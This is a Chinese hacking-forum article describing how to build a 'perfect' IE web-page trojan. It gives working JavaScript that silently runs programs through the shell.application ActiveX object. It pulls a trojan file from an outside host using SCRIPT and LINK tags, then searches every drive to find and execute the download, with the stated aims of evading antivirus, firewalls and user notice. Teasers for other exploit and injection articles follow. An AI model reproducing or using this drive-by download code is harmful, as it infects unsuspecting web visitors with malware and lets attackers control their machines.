打造完美的IE网页木马

所属分类: 实用技巧 / 漏洞研究 阅读数: 1626
收藏 0 赞 0 分享
作者:碧雪   来源:第八军团 
      既然要打造完美的IE网页木马,首先就必须给我们的完美制定一个标准,我个人认为一个完美的IE网页木马至少应具备下列四项特征:  
  一:可以躲过杀毒软件的追杀;  
  二:可以避开网络防火墙的报警;  
  三:能够适用于多数的WINDOWS操作系统(主要包括WIN98、WINME、WIN2000、WINXP、WIN2003)中的多数IE版本(主要包括IE5.0、IE5.5、IE6.0),最好能打倒SP补丁;  
  四:让浏览者不容易发觉IE变化,即可以悄无声息,从而可以长久不被发现。  
  (注意以上四点只是指网页本身而言,但不包括你的木马程序,也就是说我们的网页木马只是负责运行指定的木马程序,至于你的木马程序的好坏只有你自己去选择啦!别找我要,我不会写的哦!)  
  满足以上四点我想才可以让你的马儿更青春更长久,跑的更欢更快……  
  看了上面的几点你是不是心动拉?别急,我们还是先侃侃现有的各种IE网页木马的不足吧!  
  第一种:利用古老的MIME漏洞的IE网页木马  
  这种木马现在还在流行,但因为此漏洞太过古老且适用的IE版本较少,而当时影响又太大,补丁差不多都补上啦,因此这种木马的种植成功率比较低。  
  第二种:利用com.ms.activeX.ActiveXComponent漏洞,结合WSH及FSO控件的IE网页木马  
  虽然com.ms.activeX.ActiveXComponent漏洞广泛存在于多数IE版本中,是一个比较好的漏洞,利用价值非常高,但却因为它结合了流行的病毒调用的WSH及FSO控件,使其虽说可以避开网络防火墙的报警,可逃不脱杀毒软件的追捕(如诺顿)。  
  第三种:利用OBJECT对象类型确认漏洞(Object Data Remote)并结合WSH及FSO控件的IE网页木马(典型的代表有动鲨网页木马生成器)  
  此种木马最大的优点是适应的IE版本多,且漏洞较新,但却有如下不足:  
  1、因为此漏洞要调用Mshta.exe来访问网络下载木马程序,所以会引起防火墙报警(如天网防火墙);  
  2、如果此IE网页木马又利用了WSH及FSO控件,同样逃不脱杀毒软件的追捕(如诺顿),而  
动鲨网页木马又恰恰使用了WSH及FSO控件,叹口气……可惜呀……?  
  3、再有就是这个漏洞需要网页服务器支持动态网页如ASP、JSP、CGI等,这就影响了它的发挥,毕竟现在的免费稳定的动态网页空间是少之又少;虽说此漏洞也可利用邮件MIME的形式(见我在安全焦点上发表的文章:《由错误MIME漏洞的利用想到的......---IE Object Data 数据远程执行漏洞的利用》http://www.xfocus.net/articles/200309/607.html)来利用,但经测试发现对IE6.0不起作用。  
  看到上面的分析你是不是有了这种感觉:千军易得,一将难求,马儿成群,奈何千里马难寻!别急,下面让我带这大家一起打造我心中的完美IE网页木马。  
  首先要躲过杀毒软件的追杀,我们就不能利用WSH和FSO控件,因为只要利用了WSH和FSO控件就一定逃不脱“诺顿”的追杀,这可叫我们该如何是好?!别急,经过我的努力工作(说真的我也是在研究ASP木马时偶然发现的灵感)终于我有找到了一个可以用的控件,那就是 shell.application,并且它可是经过了安全认证的,可以在“我的电脑”域中的网页中畅通无阻的执行,比WSH和FSO更容易得到执行权限(利用跨域漏洞即可),请看下面javascript代码:  
<SCRIPT LANGUAGE="javascript" type="text/javascript">  
var shell=new ActiveXObject("shell.application");  
shell.namespace("c:\\Windows\\").items().item("Notepad.exe").invokeverb();  
</SCRIPT>  
保存为test.htm后打开看是否自动打开了记事本程序,而且不会象WSH和FSO那样出现是否允许运行的提示框,是不是有点兴趣啦?现在我们已可以运行所有已知路径的程序,但我们要求运行我们自己的木马程序,所以还要求把我们的木马程序下载到浏览者的电脑上并找出它的位置。我们一个个来解决:  
  1、下载木马程序到浏览者的电脑中  
  这一点可以有很多解决方法,比如我以前提到的WINDOWS帮助文件访问协议下载任意文件漏洞(its:),不过这次我们不用它,再教大家两个更好的下载方法:  
  例一:利用SCRIPT标签,代码如下:  
<SCRIPT LANGUAGE="icyfoxlovelace" src="http://www.godog.y365.com/wodemuma/icyfox.bat"></SCRIPT>  
注意此处的LANGUAGE属性可以为除javascript、VBScript、JScript以外的字符串,也可以是汉字,至于src的属性当然是你的木马程序的地址啦!因为现在免费空间出于安全考虑,多数不允许上传exe文件,我们可以变通一下把扩展名exe改为bat或pif、scr、com,同样可以运行。  
  例二:利用LINK标签,代码如下:  
<LINK href="http://www.godog.y365.com/wodemuma/icyfox.bat" rel=stylesheet type=text/css>  
把代码放在标签<HEAD></HEAD>中间,href属性值为木马程序的地址。  
上面两个是我所知的最好的两种下载木马程序的方法,它们下载后的程序都保存在在IE临时目录Temporary Internet Files目录下的子目录中。  
  2、找出已下载到浏览者的脑中的木马程序路径  
  我们可以利用shell.application控件的一些属性和方法,并结合js的错误处理try{}catch(e){}finally{}语句,进行递归调用来找到木马程序的路径,代码如下: function icyfoxlovelace(){  
//得到WINDOWS系统目录和系统盘  
url=document.location.href;  
xtmu=url.substring(6,url.indexOf('\\',9)+1);  
xtp=url.substr(6,3);  

var shell=new ActiveXObject("shell.application");  
var runbz=1;  

//此处设置木马程序的大小,以字节为单位  
//请把198201改为你的木马程序的实际大小  
var exeSize=198201;  

//设置木马程序名及扩展名(exe,com,bat,pif,scr),用于判断是否是所下载的木马程序  
//请把下面两行中的icyfox改为你的木马程序名,bat改为你的木马程序的扩展名  
var a=/icyfox\[\d*\]\.bat/gi;  
a.compile("icyfox\\[\\d*\\]\\.bat","gi");  

var b=/[A-Za-z]:\\/gi;  
b.compile("[A-Za-z]:\\\\","gi");//正则表达式,用于判断是否是盘的根目录  

//下面的代码查找并运行木马程序  
wjj(xtmu+"Temporary Internet Files\\");//Content.IE5\if(runbz)wjj(xtp+"Documents and Settings\\");  
if(runbz)yp();  

//在所有硬盘分区下查找并运行木马程序  
function yp(){  
try{  
var c=new Enumerator(shell.namespace("c:\\").ParentFolder.Items());  
for (;!c.atEnd();c.moveNext()){  
if(runbz){if(b.test(c.item().path))wjj(c.item().path);}  
else break;  
}  
}catch(e){}  
}  

//利用递归在指定目录(包括子目录)下查找并运行木马程序  
function wjj(b){  
try{  
var c=new Enumerator(shell.namespace(b).Items());  
for (;!c.atEnd();c.moveNext()){  
if(runbz&&c.item().Size==exeSize&&a.test(c.item().path)){  
var f=c.item().path;  
var v=f.lastIndexOf('\\')+1;  
try{  
shell.namespace(f.substring(0,v)).items().item(f.substr(v)).invokeverb();//运行木马程序  
runbz=0;  
break;  
}catch(e){}  
}  
if(!c.item().Size)wjj(c.item().path+"\\");//如果是子目录则递归调用  
}  
}catch(e){}  
}  
}  
icyfoxlovelace();  
请把以上代码保存为icyfox.js。  
更多精彩内容其他人还在看

MySQL Proxy(解决注入的另一思路)

MySQL Proxy的主要作用是用来做负载均衡,数据库读写分离的。但是需要注意的是,MySQL Proxy还有个强大的扩展功能就是支持Lua语言——魔兽也是使用了Lua来开发游戏,据我所知网易也是——可以参见云风的博客。
收藏 0 赞 0 分享

phpwind管理权限泄露漏洞利用程序发布

phpwind是国内使用非常广泛的一款程序,由于在程序设计上存在错误,导致任何人可以取得前台管理员及斑主权限,做删除帖子等任意操作
收藏 0 赞 0 分享

分析NtGodMode.exe干了什么

NtGodMode.exe是通过打开LSASS.EXE进程msv1_0.dll模块空间里,然后搜索特征值8B 4D 0C 49之后第1个32 C0 这个32C0汇编码xor al,al,修改为B001对应汇编码mov al,1 为什么mov al,1,以后就不用密码了?
收藏 0 赞 0 分享

伯乐asp收信程序漏洞及利用程序利用代码

信息来源:邪恶八进制信息安全团队(www.eviloctal.com) 文章作者:fhod 发这个也是因为看了asm所写的新概念收信程序 箱子永远不会被黑
收藏 0 赞 0 分享

字符集导致的浏览器跨站脚本攻击分析

前言:这种利用类型的攻击早在06年就被安全研究人员指出,不过一直没有在国内重视。而由于我们国内大部分站点正是这种有漏洞的字符集,所以影响还是比较大,希望各大站快速修复。可以看看http://applesoup.googlepages.com/。
收藏 0 赞 0 分享

Search Engine XSS Worm

作者:余弦 来源:0x37 Security 有挑战才有意思,为了诞生个Search Engine XSS Worm,这里拿yeeyan做实验了。
收藏 0 赞 0 分享

CPU也有远程攻击漏洞 英特尔匆匆修补

BEAREYES.COM 北京 [ 翻译 ] 作者:1000years 日期:2008年08月12日
收藏 0 赞 0 分享

暂时屏蔽 IE 最新 0day的4 种方法

IE 最新 0day 波及了微软全线系统居然在2008年12月14日8:00:15还没有出补丁!我查看微软站点,好像有几个手动操作的办法暂时屏蔽。
收藏 0 赞 0 分享

Sql Server 应用程序的高级Sql注入第1/2页

这篇文章讨论常用的"sql注入"技术的细节,应用于流行的Ms IIS/ASP/SQL-Server平台。这里探讨有关这种攻击各种可以注入程序访问数据和数据库防范的方法。
收藏 0 赞 0 分享

ASP木马后门新思路

ASP木马后门新思路
收藏 0 赞 0 分享
查看更多